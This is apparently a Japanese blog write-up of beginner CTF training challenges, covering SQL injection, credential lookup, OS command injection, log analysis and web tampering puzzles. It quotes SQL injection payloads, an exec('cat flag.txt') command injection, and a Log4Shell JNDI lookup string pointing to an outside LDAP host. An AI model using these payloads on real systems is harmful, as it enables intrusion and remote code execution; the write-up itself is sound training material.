XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=(SELECT 7505 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT (7505=7505,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=(SELECT CONCAT(0x7171787671,(SELECT (ELT (1399=1399, 1))),0x71707a7871)) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; rus rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:27 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=1 UNION ALL SELECT CONCAT(0x7171787671,0x537653544175467a724f,0x71707a7871),NULL,NULL-- HTTP/1.1" 200 182 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.11 ru rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
SQLインジェクションを使っている。
SQLインジェクションのCWEを調べる。
CWE-89
がSQLインジェクションらしい...
CWEについてはIPAのこのサイトが参考になった。
flag{CWE-89}
気味の悪い拡張子 - 100pt
なんも浮かばないのでヒントを見てみる。
トークン とは、ユーザーの認証情報を表す文字列です。 JWT は、その一種で、JSON Web Tokenの略称です。RFC 7519 にて、その規格が定義されています。 jwt.io のサイトでは、与えられたトークンを3つの構成要素(ヘッダー、ペイロード、署名)に分解し、それぞれの内容を表示させることが可能です。
とりあえずjwt.io
を使ってみる。
flag発見!
flag{fridaythe13th}
【Attack 1】 認証情報 - 100pt
アクセスして、管理者ログインページに移動。
適当にSQLインジェクションを試すも失敗。
添付されているtxtファイルを見ると、メールアドレスとパスワードらしきものが羅列されている。
メールアドレスが分かればパスワードが分かりそう。
管理者ページの前のメインページを探索すると、お問い合わせ用のメールアドレスを発見!!!
$ grep gray.bear.banana@example.com list.txt
gray.bear.banana@example.com:B0M}@pH'#L
ヒット!!!
入力するとflagが得られる。
flag{credent1al_5taff}
【Attack 2】防御の回避 - 100pt
アクセスすると、ログインページが表示される。
ページのソースを調べるが、特に何もないためSQLインジェクションの問題と推察。
' or 1=1 #
で試すと、使えない文字列が含まれています
と表示される。
色々試すと、=
がブロックされていることが分かった。
' or true #
でflagゲット。
flag{sq1_injec7ion}
【Attack 3】計算機 - 100pt
アクセスすると、入力した式を計算してくれるPHPページが開く。
ページのソースコードを探索。
コメント発見!
<!-- TODO:計算機能以外にコマンドが使えるのを修正 例)exec("コマンド") -->
コマンドが使えるみたい。脆弱...
exec("ls")
flag.txt fruits.txt
exec("cat flag.txt")
flag{os_command}
flag{os_command}
【Defense 1】ログ分析 - 100pt
ログ解析の問題。
アクセスされたということは200
やGET
がヒットしそうなのでgrepする。
grep GET access.log
172.16.10.1 - - [09/Jul/2024:03:20:35 -0700] "GET /thereIsNoWayThat-You-CanBeThere. HTTP/1.1" 404 449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
172.16.10.1 - - [09/Jul/2024:03:20:35 -0700] "GET /icons/ HTTP/1.1" 403 452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
172.16.10.1 - - [09/Jul/2024:03:20:50 -0700] "GET /about_us/ HTTP/1.1" 200 406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
172.16.10.1 - - [09/Jul/2024:03:20:51 -0700] "GET /icons/ HTTP/1.1" 403 452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
about_us/
がヒット。
アクセスするとflagゲット。
flag{f0rced_br0w5ing}
【Defense 2】ログ分析2 - 100pt
とりあえず、中身を見てみる
--6049b525-A--
[08/Jul/2024:02:44:23 --0700] Zou09@3Nx7xessHOJp2AawAAAEA 172.16.10.1 39846 172.16.10.100 80
--6049b525-B--
GET /service/login.html/ HTTP/1.1
Host: 172.16.10.100
Accept: */*
User-Agent: ${jndi:ldap://172.16.10.10:8080/explot}
--6049b525-H--
Message: Warning. Pattern match "(?:^([\\d.]+|\\[[\\da-f:]+\\]|[\\da-f:]+)(:[\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "789"] [id "920350"] [msg "Host header is a numeric IP address"] [data "172.16.10.100"] [severity "WARNING"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"]
Message: Warning. Pattern match "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf"] [line "228"] [id "944150"] [msg "Potential Remote Command Execution: Log4j / Log4shell"] [severity "CRITICAL"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-java"] [tag "platform-multi"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/137/6"] [tag "PCI/6.5.2"]
Message: Warning. Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [ver "OWASP_CRS/4.4.0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"]
Message: Warning. Unconditional match in SecAction. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/RESPONSE-980-CORRELATION.conf"] [line "98"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=8, detection=8, per_pl=8-0-0-0, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=0, XSS=0, RFI=0, LFI=0, RCE=5, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=8)"] [ver "OWASP_CRS/4.4.0"] [tag "reporting"] [tag "OWASP_CRS"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Pattern match "(?:^([\\\\\\\\d.]+|\\\\\\\\[[\\\\\\\\da-f:]+\\\\\\\\]|[\\\\\\\\da-f:]+)(:[\\\\\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "789"] [id "920350"] [msg "Host header is a numeric IP address"] [data "172.16.10.100"] [severity "WARNING"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Pattern match "(?i)(?:\\\\\\\\$|$?)(?:\\\\\\\\{|&l(?:brace|cub);?)(?:[^\\\\\\\\}]{0,15}(?:\\\\\\\\$|$?)(?:\\\\\\\\{|&l(?:brace|cub);?)|jndi|ctx)" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf"] [line "228"] [id "944150"] [msg "Potential Remote Command Execution: Log4j / Log4shell"] [severity "CRITICAL"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-java"] [tag "platform-multi"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/137/6"] [tag "PCI/6.5.2"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [ver "OWASP_CRS/4.4.0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/RESPONSE-980-CORRELATION.conf"] [line "98"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=8, detection=8, per_pl=8-0-0-0, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=0, XSS=0, RFI=0, LFI=0, RCE=5, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=8)"] [ver "OWASP_CRS/4.4.0"] [tag "reporting"] [tag "OWASP_CRS"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Stopwatch: 1720431863277775 3254 (- - -)
Stopwatch2: 1720431863277775 3254; combined=2349, p1=1023, p2=684, p3=86, p4=397, p5=159, sr=0, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.3 (http://www.modsecurity.org/); OWASP_CRS/4.4.0.
Server: Apache/2.4.41 (Ubuntu)
Engine-Mode: "DETECTION_ONLY"
--6049b525-Z--
う~ん...分からん。
chatgpt様に聞いてみる。
${jndi:ldap://172.16.10.10:8080/exploit}
よりCVE-2021-44228がヒット
RCEできるやつらしい。
CVE-2021-44228
Python
Pythonスクリプトをオンライン実行環境で動作させる。 - 100pt
これはオンラインで動かさずとも、コード見ればいい。
flag{online_judge}
Web-Extra
White Page 1
ページのソースを見てみる。
めちゃくちゃ普通にflagある!
flag{white_text_in_white_page}
White Page 2
ソースには特に問題なかったので、コンソールとかいろいろ見る。
コンソールにflagがあった!!!
flag{console_is_console}
White Page 3
ページソースを見てみる。
怪しめのimgがあるので開いてみる。
flagゲット!
flag{display_none_image_can_be_found}
White Page 4
同様にページソースを見てみる。
titleタグ
にflagがあった!
これはEasy~
flag{dynamic_title!}
White Page 5 - 100pt
これもページソースを見てみる。
特になにも見つからんかったので、ヒントを見てみる。
変な通信が行われている…?
ヒントからとりあえずburpsuiteで解析してみる
jsonにflagがあった!
flag{response_is_visible}
White Page 6 - 100pt
最初からburpsuiteで解析してみる。
特になにもないので、ページソースを見ると...
<p color="#ffffff" class="sc-iBkjds hhtSHX">a</p>
上の p タグの文字が変わっていっている!
手動で入力してもいいが、見逃しそうなので自動化する
変化を追跡するコードを記憶から引っ張りだして書くも動作せず...
しかたないので、chagpt様にコードを吐かせた
コンソールタブで
let target = document.querySelector('.sc-iBkjds.hhtSHX');
new MutationObserver((mutations) => {
mutations.forEach(mutation => {
console.log("変化検出:", mutation.target.textContent);
});
}).observe(target, { childList: true, subtree: true, characterData: true });
を実行して追跡
VM47:5 変化検出: a
VM47:5 変化検出: g
VM47:5 変化検出: {
VM47:5 変化検出: i
VM47:5 変化検出: _
VM47:5 変化検出: c
VM47:5 変化検出: a
VM47:5 変化検出: n
VM47:5 変化検出: _
VM47:5 変化検出: c
VM47:5 変化検出: o
VM47:5 変化検出: n
VM47:5 変化検出: t
VM47:5 変化検出: r
VM47:5 変化検出: o
VM47:5 変化検出: l
VM47:5 変化検出: _
VM47:5 変化検出: t
VM47:5 変化検出: i
VM47:5 変化検出: m
VM47:5 変化検出: i
VM47:5 変化検出: n
VM47:5 変化検出: g
VM47:5 変化検出: }
見切れちゃったけど、flagが分かった
flag{i_can_control_timing}
FLAG QUEST1 - 100pt
とりあえず、戦う前にずかん
に行ってみる。
スライムとまおうの情報が見れる。
モンスターはIDで管理されているみたい。
戦いに行く。
普通に戦っても、負けてしまう。
URLに着目すると、http://jnsa-spr-prod.cfctf.mydns.jp:50000/probrem-1?monsterId=2
となっていることが分かる
スライムのidが1だったので、http://jnsa-spr-prod.cfctf.mydns.jp:50000/probrem-1?monsterId=1
としてアクセス
敵がスライムに変わった!一撃で倒して、flagゲット。
見逃さずにflagゲット。
flag{slime_i5_totem0_kawa1so0o}
FLAG QUEST2 - 100pt
アクセスする。
UIはFLAG QUEST 1と変わらない。
普通に戦うと、負けて神父からアドバイスを貰える。
難しすぎる...じゃあ簡単にしたい!
ページのソースコードをよく読んでみる。
<div class="main-area">
<div class="logo-area">
<img src="/public/image/Flag_Quest_Logo.png">
</div>
<div class="msg-area">
<p></p>
</div>
<input form="startForm" type="hidden" name="hardmode" value="on">
<form id="startForm" action="/probrem-2/start" method="POST">
<div class="name-area">
<p class="name-label">ゆうしゃのなまえ(4もじいない)</p>
<input type="text" maxlength="4" name="yushaName" class="name-input">
</div>
<div class="menu-area">
<div class="menu-item"><button type="submmit" class="menu-item">たたかう</button></div>
<div class="menu-item"><div id="open-library" class="menu-item">ずかん</div></div>
</div>
</form>
</div>
<input form="startForm" type="hidden" name="hardmode" value="on">
で難易度を制御しているみたい。
value="off"
にして戦うと、簡単になりflagゲット。
flag{thi5_is_easyyyy_m0de!!}
FLAG QUEST3 - 100pt
同様にアクセスして、戦って負けて神父にアドバイスを求めようとする。
しかし、戦いの冒頭で魔王が何やら怪しい一言を言ってきた。
二回目の挑戦を挑むと、2回目と言ってきた。
しかも回数とMPが一致している!!!
調べるとCookieで制御していた。
挑戦回数とMPが関係しているということはおそらくMPを使って倒すのだろう...
とりあえず、Cookieを1000に書き換えて挑戦。
じゅもん
を見てみると、いかにもなやつがあるのでそれで魔王を倒してflagゲット!!!
flag{u_need_mp_f0r_spe1l}
FLAG QUEST4 - 100pt
同様にアクセスしてみると、今回はどうぐや
が新しく実装されている。
必要そうなので、購入ボタンを押すと...
ひかりのたま?
をゲット。
そのまま、戦いに行き使用すると即死してしまう。
おかしいと思い、ページのソースを見てみる。
<div class="shop-item-detail">
<div id="detail-2" style="display: block;">
<img class="shop-item-pic mCS_img_loaded" src="/public/image/ball.png" style="display: inline;">
<div class="shop-item-info" style="display: block;">
<p style="display: block;">なまえ:ひかりのたま</p>
<p style="display: block;">せつめい:つかうと せいなる ひかりが てきの こうげきを ふせいでくれる</p>
</div>
<div class="purchase-button-area" style="display: block;">
<button class="purchase-button" id="purchase-2" style="display: inline-block;">
こうにゅう
</button>
<button class="click-jack" id="purchase-3" style="display: inline-block;">
</button>
</div>
</div>
</div>
クリックジャッキングになっている。
クリックジャッキングのボタンを非表示にして購入すると、ひかりのたま
を購入できた!!!
そのまま、戦いに行き魔王に勝ってflagゲット。
flag{us1ng_c0rrect_item_15_very_imp0rtant}
FLAG QUEST5 - 100pt
今回から新たに、さかば
が実装されている。
種族は人間固定(inputタグがreadonly)になっているが、職業は選べる。
3人まで仲間にできる。
適当に選んで魔王に挑むと1ターン目で一番HPが低い仲間が攻撃され、開始2ターンで人間には絶対に壊せないバリアを展開され、一方的に敗れる。
人間以外の仲間が必要だ!!!
FLAG QUEST 1 で倒したスライムを仲間にしたい...
もう一度スライムを倒しに行き、命乞いを受け入れ恩を売っておく。
さかばに行き、inputタグのreadonlyをはずしてしゅぞく
を選択できるようにする。
スライムを仲間にできた!!!
1ターン目は一番HPが低い仲間が攻撃されてしまうので、1ターン目用によわよわスライム
よりもHPが低いにとたろう
を仲間にする。
あと一人は適当に選んで、戦いに行く。
一ターン目でにとたろう
が死んでしまう。
二ターン目で魔王にバリアを展開されるが、スライムがはがしてくれる。
あとは普通に倒してflagゲット。(にとたろう可哀想...)
flag{u_are_true_her0!!!!}
終わりに
今までpicoCTFとかに参加していたが、具体的なツール等をあまり知らなかったので、今回の講習で知ることができたので良かった。
特にNetwork系の問題に苦手意識があったが、今回ので軽減され、wiresharkの偉大さを感じた。
まだSECCONは参加したことがないので、今年は参加しようと思った。